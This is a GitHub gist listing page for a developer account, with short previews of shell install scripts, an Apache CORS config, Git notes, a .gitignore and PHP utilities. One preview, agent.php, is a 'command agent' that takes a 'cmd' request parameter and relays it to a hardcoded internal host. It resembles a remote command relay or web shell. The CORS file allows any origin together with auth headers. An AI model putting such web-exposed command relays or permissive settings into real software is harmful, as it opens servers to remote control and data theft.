Skip to content

Instantly share code, notes, and snippets.

View silkadmin's full-sized avatar

SmartinfoLogiks silkadmin

View GitHub Profile
@silkadmin
silkadmin / print.sh
Created March 24, 2019 08:36
[CLOUD Print On Linux]CLOUD Print On Linux #installation
#!/bin/sh
sudo add-apt-repository ppa:simon-cadman/cups-cloud-print
sudo apt-get update
sudo apt-get install cupscloudprint
sudo /usr/share/cloudprint-cups/setupcloudprint.py
@silkadmin
silkadmin / install.sh
Last active March 24, 2019 08:32
[Ubuntu18.02 : Install PHP7.0]Installation of PHP7 + Apache2 on Ubuntu 18.04 #installation
#!/bin/sh
sudo apt-get install apache2
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install -y php7.0
php -v
@silkadmin
silkadmin / index.php
Last active January 26, 2019 21:10
[Automatic Redirection to v<max> folder]This code allows auto redirection to the latest v1,v2,v3 folder which ever is max. Used in SILK Design Servers
<?php
$fs = scandir(__DIR__);
$fs1= $fs[count($fs)-1];
header("location:{$fs1}/");
?>
@silkadmin
silkadmin / htaccess
Created November 21, 2018 20:22
[Apache2 CORS Fix] #apache2
Header set Access-Control-Allow-Origin "*"
Header set Access-Control-Max-Age 10000
Header set Access-Control-Allow-Methods POST,GET,PUT,DELETE,OPTIONS
Header set Access-Control-Allow-Headers Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Forwarded-For,Keep-Alive,X-Requested-With,If-Modified-Since,jwt-token,client-token,token
@silkadmin
silkadmin / git.txt
Created September 17, 2018 06:22
[Git Commands] A list of my common Git commands
Git Commands
============
A list of my commonly used Git commands
--
### Getting & Creating Projects
| Command | Description |
@silkadmin
silkadmin / .gitignore
Created August 5, 2018 08:14
[Gitignore File] Recomended gitignore file #sample #git
*~
.DS_Store
.svn
.cvs
*.bak
*.swp
Thumbs.db
log/*.log
logs/**/*
@silkadmin
silkadmin / october.php
Created July 14, 2018 20:43
[October CMS Fixes] Fixes for OcotoberCMS #octobercms
Cms/Classes/Controller.php/
public function getAjaxHandler()
--------------------
vendor/october/rain/src/Exception
public function __construct
$message = htmlspecialchars($message);
---------------
modules/system/lang/en/lang.php
@silkadmin
silkadmin / permute_string.php
Created July 14, 2018 13:47
[Permute Words]Permute all characters of a word to form all possible word combinations
<?php
function permute($str,$i,$n) {
if ($i == $n) {
print "$str\n<br>";
} else {
for ($j = $i; $j < $n; $j++) {
swap($str,$i,$j);
permute($str, $i+1, $n);
swap($str,$i,$j); // backtrack.
}
@silkadmin
silkadmin / agent.php
Created July 14, 2018 13:39
[PHP Command Agent]A single file command agent php file that behaves like agent and reports back to called a variety of tasks. With Encryption
<?php
$key = 'qwertyuiopqwieuu';
$iv = '0123456789123456';
$enableEncrypt=true;
$url="http://192.168.1.133:8090/";
if(isset($_REQUEST['cmd'])) {
//$url="http://127.0.0.1:8088/?".encrypt($_SERVER['QUERY_STRING']);
$url=$url."?".$_SERVER['QUERY_STRING'];
$data=trim(file_get_contents($url));
@silkadmin
silkadmin / bigfiles.php
Created July 14, 2018 13:37
[PHP Shell for BigFiles]PHP runs a shell script to find big files
<?php
//echo shell_exec("cd ../bigca.in/apps/caapps/userdata/;du -hsx * | sort -rh | head -10");
echo shell_exec("cd ..;du -hsx * | sort -rh | head -10");
//echo shell_exec("cd ..;find -type f -printf '%s %p\n' |sort -nr | head");
?>